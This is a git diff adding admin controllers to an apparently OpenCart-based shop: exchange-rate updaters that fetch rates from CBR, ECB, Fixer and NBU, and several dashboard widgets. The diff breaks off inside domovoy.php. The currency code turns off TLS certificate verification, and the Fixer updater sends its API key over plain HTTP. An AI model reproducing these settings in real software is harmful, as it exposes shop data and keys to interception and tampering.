+ if ($this->config->get('currency_cbr_status')) {
+ $curl = curl_init();
+
+ curl_setopt($curl, CURLOPT_URL, 'https://www.cbr.ru/scripts/XML_daily.asp');
+ curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
+ curl_setopt($curl, CURLOPT_HEADER, false);
+ curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, 0);
+ curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 30);
+ curl_setopt($curl, CURLOPT_TIMEOUT, 30);
+
+ $response = curl_exec($curl);
+
+ curl_close($curl);
+
+
+ if ($response) {
+ $dom = new \DOMDocument('1.0', 'UTF-8');
+ $dom->loadXml($response);
+
+ $currencies = array();
+
+ $currencies['RUB'] = 1.0000;
+
+ $root = $dom->documentElement;
+ $items = $root->getElementsByTagName('Valute');
+
+
+ foreach ($items as $item)
+ {
+ $code = $item->getElementsByTagName('CharCode')->item(0)->nodeValue;
+ $curs = str_replace(',', '.', $item->getElementsByTagName('Value')->item(0)->nodeValue);
+ $nominal = $item->getElementsByTagName('Nominal')->item(0)->nodeValue;
+ $currencies[$code] = floatval($curs/$nominal);
+ }
+
+
+ if ($currencies) {
+ $this->load->model('localisation/currency');
+
+ $results = $this->model_localisation_currency->getCurrencies();
+
+ foreach ($results as $result) {
+ if (isset($currencies[$result['code']])) {
+ $from = $currencies['RUB'];
+
+ $to = $currencies[$result['code']];
+
+ $this->model_localisation_currency->editValueByCode($result['code'], ($currencies[$default] * ($from / $to)));
+ }
+ }
+ }
+
+ $this->model_localisation_currency->editValueByCode($default, '1.00000');
+
+ $this->cache->delete('currency');
+ }
+ }
+ }
+}
diff --git a/public/admin/controller/extension/currency/ecb.php b/public/admin/controller/extension/currency/ecb.php
new file mode 100644
index 0000000..5bf6d09
--- /dev/null
+++ b/public/admin/controller/extension/currency/ecb.php
@@ -0,0 +1,132 @@
+load->language('extension/currency/ecb');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('currency_ecb', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=currency'));
+ }
+
+ $data['heading_title'] = $this->language->get('heading_title');
+
+ $data['text_edit'] = $this->language->get('text_edit');
+ $data['text_enabled'] = $this->language->get('text_enabled');
+ $data['text_disabled'] = $this->language->get('text_disabled');
+
+ $data['entry_status'] = $this->language->get('entry_status');
+
+ $data['button_save'] = $this->language->get('button_save');
+ $data['button_cancel'] = $this->language->get('button_cancel');
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = [];
+
+ $data['breadcrumbs'][] = [
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'])
+ ];
+
+ $data['breadcrumbs'][] = [
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=currency')
+ ];
+
+ $data['breadcrumbs'][] = [
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/currency/ecb', 'user_token=' . $this->session->data['user_token'])
+ ];
+
+ $data['action'] = $this->url->link('extension/currency/ecb', 'user_token=' . $this->session->data['user_token']);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=currency');
+
+ if (isset($this->request->post['currency_ecb_status'])) {
+ $data['currency_ecb_status'] = $this->request->post['currency_ecb_status'];
+ } else {
+ $data['currency_ecb_status'] = $this->config->get('currency_ecb_status');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/currency/ecb', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/currency/ecb')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ public function currency($default = '') {
+ if ($this->config->get('currency_ecb_status')) {
+ $curl = curl_init();
+
+ curl_setopt($curl, CURLOPT_URL, 'https://www.ecb.europa.eu/stats/eurofxref/eurofxref-daily.xml');
+ curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
+ curl_setopt($curl, CURLOPT_HEADER, false);
+ curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, 0);
+ curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 30);
+ curl_setopt($curl, CURLOPT_TIMEOUT, 30);
+
+ $response = curl_exec($curl);
+
+ curl_close($curl);
+
+ if ($response) {
+ $dom = new \DOMDocument('1.0', 'UTF-8');
+ $dom->loadXml($response);
+
+ $cube = $dom->getElementsByTagName('Cube')->item(0);
+
+ $currencies = [];
+
+ $currencies['EUR'] = 1.0000;
+
+ foreach ($cube->getElementsByTagName('Cube') as $currency) {
+ if ($currency->getAttribute('currency')) {
+ $currencies[$currency->getAttribute('currency')] = $currency->getAttribute('rate');
+ }
+ }
+
+ if ($currencies) {
+ $this->load->model('localisation/currency');
+
+ $results = $this->model_localisation_currency->getCurrencies();
+
+ foreach ($results as $result) {
+ if (isset($currencies[$result['code']])) {
+ $from = $currencies['EUR'];
+
+ $to = $currencies[$result['code']];
+
+ $this->model_localisation_currency->editValueByCode($result['code'], 1 / ($currencies[$default] * ($from / $to)));
+ }
+ }
+ }
+
+ $this->model_localisation_currency->editValueByCode($default, '1.00000');
+
+ $this->cache->delete('currency');
+ }
+ }
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/currency/fixer.php b/public/admin/controller/extension/currency/fixer.php
new file mode 100644
index 0000000..7c8edda
--- /dev/null
+++ b/public/admin/controller/extension/currency/fixer.php
@@ -0,0 +1,145 @@
+load->language('extension/currency/fixer');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('currency_fixer', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=currency'));
+ }
+
+ $data['heading_title'] = $this->language->get('heading_title');
+
+ $data['text_edit'] = $this->language->get('text_edit');
+ $data['text_enabled'] = $this->language->get('text_enabled');
+ $data['text_disabled'] = $this->language->get('text_disabled');
+ $data['text_support'] = $this->language->get('text_support');
+ $data['text_signup'] = $this->language->get('text_signup');
+
+ $data['entry_status'] = $this->language->get('entry_status');
+ $data['entry_api'] = $this->language->get('entry_api');
+
+ $data['button_save'] = $this->language->get('button_save');
+ $data['button_cancel'] = $this->language->get('button_cancel');
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['api'])) {
+ $data['error_api'] = $this->error['api'];
+ } else {
+ $data['error_api'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = [
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'])
+ ];
+
+ $data['breadcrumbs'][] = [
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=captcha')
+ ];
+
+ $data['breadcrumbs'][] = [
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/currency/fixer', 'user_token=' . $this->session->data['user_token'])
+ ];
+
+ $data['action'] = $this->url->link('extension/currency/fixer', 'user_token=' . $this->session->data['user_token']);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=currency');
+
+ if (isset($this->request->post['currency_fixer_api'])) {
+ $data['currency_fixer_api'] = $this->request->post['currency_fixer_api'];
+ } else {
+ $data['currency_fixer_api'] = $this->config->get('currency_fixer_api');
+ }
+
+ if (isset($this->request->post['currency_fixer_status'])) {
+ $data['currency_fixer_status'] = $this->request->post['currency_fixer_status'];
+ } else {
+ $data['currency_fixer_status'] = $this->config->get('currency_fixer_status');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/currency/fixer', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/currency/fixer')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if (!$this->request->post['currency_fixer_api']) {
+ $this->error['api'] = $this->language->get('error_api');
+ }
+
+ return !$this->error;
+ }
+
+ public function currency($default = '') {
+ if ($this->config->get('currency_fixer_status')) {
+ $curl = curl_init();
+
+ curl_setopt($curl, CURLOPT_URL, 'http://data.fixer.io/api/latest?access_key=' . $this->config->get('currency_fixer_api'));
+ curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
+ curl_setopt($curl, CURLOPT_HEADER, false);
+ curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, 0);
+ curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 30);
+ curl_setopt($curl, CURLOPT_TIMEOUT, 30);
+
+ $response = curl_exec($curl);
+
+ curl_close($curl);
+
+ $response_info = json_decode($response, true);
+
+ if (is_array($response_info) && isset($response_info['rates'])) {
+ // Compile all the rates into an array
+ $currencies = [];
+
+ $currencies['EUR'] = 1.0000;
+
+ foreach ($response_info['rates'] as $key => $value) {
+ $currencies[$key] = $value;
+ }
+
+ $this->load->model('localisation/currency');
+
+ $results = $this->model_localisation_currency->getCurrencies();
+
+ foreach ($results as $result) {
+ if (isset($currencies[$result['code']])) {
+ $from = $currencies['EUR'];
+
+ $to = $currencies[$result['code']];
+
+ $this->model_localisation_currency->editValueByCode($result['code'], 1 / ($currencies[$default] * ($from / $to)));
+ }
+ }
+
+ $this->model_localisation_currency->editValueByCode($default, 1);
+
+ $this->cache->delete('currency');
+ }
+ }
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/currency/nbu.php b/public/admin/controller/extension/currency/nbu.php
new file mode 100644
index 0000000..2168a97
--- /dev/null
+++ b/public/admin/controller/extension/currency/nbu.php
@@ -0,0 +1,137 @@
+load->language('extension/currency/nbu');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('currency_nbu', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=currency'));
+ }
+
+ $data['heading_title'] = $this->language->get('heading_title');
+
+ $data['text_edit'] = $this->language->get('text_edit');
+ $data['text_enabled'] = $this->language->get('text_enabled');
+ $data['text_disabled'] = $this->language->get('text_disabled');
+
+ $data['entry_status'] = $this->language->get('entry_status');
+
+ $data['button_save'] = $this->language->get('button_save');
+ $data['button_cancel'] = $this->language->get('button_cancel');
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = [];
+
+ $data['breadcrumbs'][] = [
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'])
+ ];
+
+ $data['breadcrumbs'][] = [
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=currency')
+ ];
+
+ $data['breadcrumbs'][] = [
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/currency/nbu', 'user_token=' . $this->session->data['user_token'])
+ ];
+
+ $data['action'] = $this->url->link('extension/currency/nbu', 'user_token=' . $this->session->data['user_token']);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=currency');
+
+ if (isset($this->request->post['currency_nbu_status'])) {
+ $data['currency_nbu_status'] = $this->request->post['currency_nbu_status'];
+ } else {
+ $data['currency_nbu_status'] = $this->config->get('currency_nbu_status');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/currency/nbu', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/currency/nbu')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ public function currency($default = '') {
+ if ($this->config->get('currency_nbu_status')) {
+ $curl = curl_init();
+
+ curl_setopt($curl, CURLOPT_URL, 'https://bank.gov.ua/NBUStatService/v1/statdirectory/exchange');
+ curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
+ curl_setopt($curl, CURLOPT_HEADER, false);
+ curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, 0);
+ curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 30);
+ curl_setopt($curl, CURLOPT_TIMEOUT, 30);
+
+ $response = curl_exec($curl);
+
+ curl_close($curl);
+
+
+ if ($response) {
+ $dom = new \DOMDocument('1.0', 'UTF-8');
+ $dom->loadXml($response);
+
+ $currencies = array();
+
+ $currencies['UAH'] = 1.0000;
+
+ $root = $dom->documentElement;
+ $items = $root->getElementsByTagName('currency');
+
+
+ foreach ($items as $item)
+ {
+ $code = $item->getElementsByTagName('cc')->item(0)->nodeValue;
+ $curs = $item->getElementsByTagName('rate')->item(0)->nodeValue;
+ $currencies[$code] = floatval(str_replace(',', '.', $curs));
+ }
+
+
+ if ($currencies) {
+ $this->load->model('localisation/currency');
+
+ $results = $this->model_localisation_currency->getCurrencies();
+
+ foreach ($results as $result) {
+ if (isset($currencies[$result['code']])) {
+ $from = $currencies['UAH'];
+
+ $to = $currencies[$result['code']];
+
+ $this->model_localisation_currency->editValueByCode($result['code'], ($currencies[$default] * ($from / $to)));
+ }
+ }
+ }
+
+ $this->model_localisation_currency->editValueByCode($default, '1.00000');
+
+ $this->cache->delete('currency');
+ }
+ }
+ }
+}
diff --git a/public/admin/controller/extension/dashboard/activity.php b/public/admin/controller/extension/dashboard/activity.php
new file mode 100644
index 0000000..68d71fe
--- /dev/null
+++ b/public/admin/controller/extension/dashboard/activity.php
@@ -0,0 +1,120 @@
+load->language('extension/dashboard/activity');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('dashboard_activity', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=dashboard', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=dashboard', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/dashboard/activity', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/dashboard/activity', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=dashboard', true);
+
+ if (isset($this->request->post['dashboard_activity_width'])) {
+ $data['dashboard_activity_width'] = $this->request->post['dashboard_activity_width'];
+ } else {
+ $data['dashboard_activity_width'] = $this->config->get('dashboard_activity_width');
+ }
+
+ $data['columns'] = array();
+
+ for ($i = 3; $i <= 12; $i++) {
+ $data['columns'][] = $i;
+ }
+
+ if (isset($this->request->post['dashboard_activity_status'])) {
+ $data['dashboard_activity_status'] = $this->request->post['dashboard_activity_status'];
+ } else {
+ $data['dashboard_activity_status'] = $this->config->get('dashboard_activity_status');
+ }
+
+ if (isset($this->request->post['dashboard_activity_sort_order'])) {
+ $data['dashboard_activity_sort_order'] = $this->request->post['dashboard_activity_sort_order'];
+ } else {
+ $data['dashboard_activity_sort_order'] = $this->config->get('dashboard_activity_sort_order');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/dashboard/activity_form', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/dashboard/activity')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ public function dashboard() {
+ $this->load->language('extension/dashboard/activity');
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ $data['activities'] = array();
+
+ $this->load->model('extension/dashboard/activity');
+
+ $results = $this->model_extension_dashboard_activity->getActivities();
+
+ foreach ($results as $result) {
+ $comment = vsprintf($this->language->get('text_activity_' . $result['key']), json_decode($result['data'], true));
+
+ $find = array(
+ 'customer_id=',
+ 'order_id=',
+ 'return_id='
+ );
+
+ $replace = array(
+ $this->url->link('customer/customer/edit', 'user_token=' . $this->session->data['user_token'] . '&customer_id=', true),
+ $this->url->link('sale/order/info', 'user_token=' . $this->session->data['user_token'] . '&order_id=', true),
+ $this->url->link('sale/return/edit', 'user_token=' . $this->session->data['user_token'] . '&return_id=', true)
+ );
+
+ $data['activities'][] = array(
+ 'comment' => str_replace($find, $replace, $comment),
+ 'date_added' => date($this->language->get('datetime_format'), strtotime($result['date_added']))
+ );
+ }
+
+ return $this->load->view('extension/dashboard/activity_info', $data);
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/dashboard/chart.php b/public/admin/controller/extension/dashboard/chart.php
new file mode 100644
index 0000000..b3bb21b
--- /dev/null
+++ b/public/admin/controller/extension/dashboard/chart.php
@@ -0,0 +1,197 @@
+load->language('extension/dashboard/chart');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('dashboard_chart', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=dashboard', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=dashboard', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/dashboard/chart', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/dashboard/chart', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=dashboard', true);
+
+ if (isset($this->request->post['dashboard_chart_width'])) {
+ $data['dashboard_chart_width'] = $this->request->post['dashboard_chart_width'];
+ } else {
+ $data['dashboard_chart_width'] = $this->config->get('dashboard_chart_width');
+ }
+
+ $data['columns'] = array();
+
+ for ($i = 3; $i <= 12; $i++) {
+ $data['columns'][] = $i;
+ }
+
+ if (isset($this->request->post['dashboard_chart_status'])) {
+ $data['dashboard_chart_status'] = $this->request->post['dashboard_chart_status'];
+ } else {
+ $data['dashboard_chart_status'] = $this->config->get('dashboard_chart_status');
+ }
+
+ if (isset($this->request->post['dashboard_chart_sort_order'])) {
+ $data['dashboard_chart_sort_order'] = $this->request->post['dashboard_chart_sort_order'];
+ } else {
+ $data['dashboard_chart_sort_order'] = $this->config->get('dashboard_chart_sort_order');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/dashboard/chart_form', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/dashboard/chart')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ public function dashboard() {
+ $this->load->language('extension/dashboard/chart');
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ return $this->load->view('extension/dashboard/chart_info', $data);
+ }
+
+ public function chart() {
+ $this->load->language('extension/dashboard/chart');
+
+ $json = array();
+
+ $this->load->model('extension/dashboard/chart');
+
+ $json['order'] = array();
+ $json['customer'] = array();
+ $json['xaxis'] = array();
+
+ $json['order']['label'] = $this->language->get('text_order');
+ $json['customer']['label'] = $this->language->get('text_customer');
+ $json['order']['data'] = array();
+ $json['customer']['data'] = array();
+
+ if (isset($this->request->get['range'])) {
+ $range = $this->request->get['range'];
+ } else {
+ $range = 'day';
+ }
+
+ switch ($range) {
+ default:
+ case 'day':
+ $results = $this->model_extension_dashboard_chart->getTotalOrdersByDay();
+
+ foreach ($results as $key => $value) {
+ $json['order']['data'][] = array($key, $value['total']);
+ }
+
+ $results = $this->model_extension_dashboard_chart->getTotalCustomersByDay();
+
+ foreach ($results as $key => $value) {
+ $json['customer']['data'][] = array($key, $value['total']);
+ }
+
+ for ($i = 0; $i < 24; $i++) {
+ $json['xaxis'][] = array($i, $i);
+ }
+ break;
+ case 'week':
+ $results = $this->model_extension_dashboard_chart->getTotalOrdersByWeek();
+
+ foreach ($results as $key => $value) {
+ $json['order']['data'][] = array($key, $value['total']);
+ }
+
+ $results = $this->model_extension_dashboard_chart->getTotalCustomersByWeek();
+
+ foreach ($results as $key => $value) {
+ $json['customer']['data'][] = array($key, $value['total']);
+ }
+
+ $date_start = strtotime('-' . date('w') . ' days');
+
+ for ($i = 0; $i < 7; $i++) {
+ $date = date('Y-m-d', $date_start + ($i * 86400));
+
+ $json['xaxis'][] = array(date('w', strtotime($date)), date('D', strtotime($date)));
+ }
+ break;
+ case 'month':
+ $results = $this->model_extension_dashboard_chart->getTotalOrdersByMonth();
+
+ foreach ($results as $key => $value) {
+ $json['order']['data'][] = array($key, $value['total']);
+ }
+
+ $results = $this->model_extension_dashboard_chart->getTotalCustomersByMonth();
+
+ foreach ($results as $key => $value) {
+ $json['customer']['data'][] = array($key, $value['total']);
+ }
+
+ for ($i = 1; $i <= date('t'); $i++) {
+ $date = date('Y') . '-' . date('m') . '-' . $i;
+
+ $json['xaxis'][] = array(date('j', strtotime($date)), date('d', strtotime($date)));
+ }
+ break;
+ case 'year':
+ $results = $this->model_extension_dashboard_chart->getTotalOrdersByYear();
+
+ foreach ($results as $key => $value) {
+ $json['order']['data'][] = array($key, $value['total']);
+ }
+
+ $results = $this->model_extension_dashboard_chart->getTotalCustomersByYear();
+
+ foreach ($results as $key => $value) {
+ $json['customer']['data'][] = array($key, $value['total']);
+ }
+
+ for ($i = 1; $i <= 12; $i++) {
+ $json['xaxis'][] = array($i, date('M', mktime(0, 0, 0, $i)));
+ }
+ break;
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/dashboard/customer.php b/public/admin/controller/extension/dashboard/customer.php
new file mode 100644
index 0000000..e5054d3
--- /dev/null
+++ b/public/admin/controller/extension/dashboard/customer.php
@@ -0,0 +1,124 @@
+load->language('extension/dashboard/customer');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('dashboard_customer', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=dashboard', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=dashboard', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/dashboard/customer', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/dashboard/customer', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=dashboard', true);
+
+ if (isset($this->request->post['dashboard_customer_width'])) {
+ $data['dashboard_customer_width'] = $this->request->post['dashboard_customer_width'];
+ } else {
+ $data['dashboard_customer_width'] = $this->config->get('dashboard_customer_width');
+ }
+
+ $data['columns'] = array();
+
+ for ($i = 3; $i <= 12; $i++) {
+ $data['columns'][] = $i;
+ }
+
+ if (isset($this->request->post['dashboard_customer_status'])) {
+ $data['dashboard_customer_status'] = $this->request->post['dashboard_customer_status'];
+ } else {
+ $data['dashboard_customer_status'] = $this->config->get('dashboard_customer_status');
+ }
+
+ if (isset($this->request->post['dashboard_customer_sort_order'])) {
+ $data['dashboard_customer_sort_order'] = $this->request->post['dashboard_customer_sort_order'];
+ } else {
+ $data['dashboard_customer_sort_order'] = $this->config->get('dashboard_customer_sort_order');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/dashboard/customer_form', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/dashboard/customer')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ public function dashboard() {
+ $this->load->language('extension/dashboard/customer');
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ // Total Orders
+ $this->load->model('customer/customer');
+
+ $today = $this->model_customer_customer->getTotalCustomers(array('filter_date_added' => date('Y-m-d', strtotime('-1 day'))));
+
+ $yesterday = $this->model_customer_customer->getTotalCustomers(array('filter_date_added' => date('Y-m-d', strtotime('-2 day'))));
+
+ $difference = $today - $yesterday;
+
+ if ($difference && $today) {
+ $data['percentage'] = round(($difference / $today) * 100);
+ } else {
+ $data['percentage'] = 0;
+ }
+
+ $customer_total = $this->model_customer_customer->getTotalCustomers();
+
+ if ($customer_total > 1000000000000) {
+ $data['total'] = round($customer_total / 1000000000000, 1) . 'T';
+ } elseif ($customer_total > 1000000000) {
+ $data['total'] = round($customer_total / 1000000000, 1) . 'B';
+ } elseif ($customer_total > 1000000) {
+ $data['total'] = round($customer_total / 1000000, 1) . 'M';
+ } elseif ($customer_total > 1000) {
+ $data['total'] = round($customer_total / 1000, 1) . 'K';
+ } else {
+ $data['total'] = $customer_total;
+ }
+
+ $data['customer'] = $this->url->link('customer/customer', 'user_token=' . $this->session->data['user_token'], true);
+
+ return $this->load->view('extension/dashboard/customer_info', $data);
+ }
+}
diff --git a/public/admin/controller/extension/dashboard/domovoy.php b/public/admin/controller/extension/dashboard/domovoy.php
new file mode 100644
index 0000000..50a4a7d
--- /dev/null
+++ b/public/admin/controller/extension/dashboard/domovoy.php
@@ -0,0 +1,455 @@
+load->language('extension/dashboard/domovoy');
+
+ $this->document->setTitle($this->language->get('heading_h1'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+
+ $this->model_setting_setting->editSetting('dashboard_domovoy', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=dashboard', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/dashboard/domovoy', 'user_token=' . $this->session->data['user_token'], true)
+ );
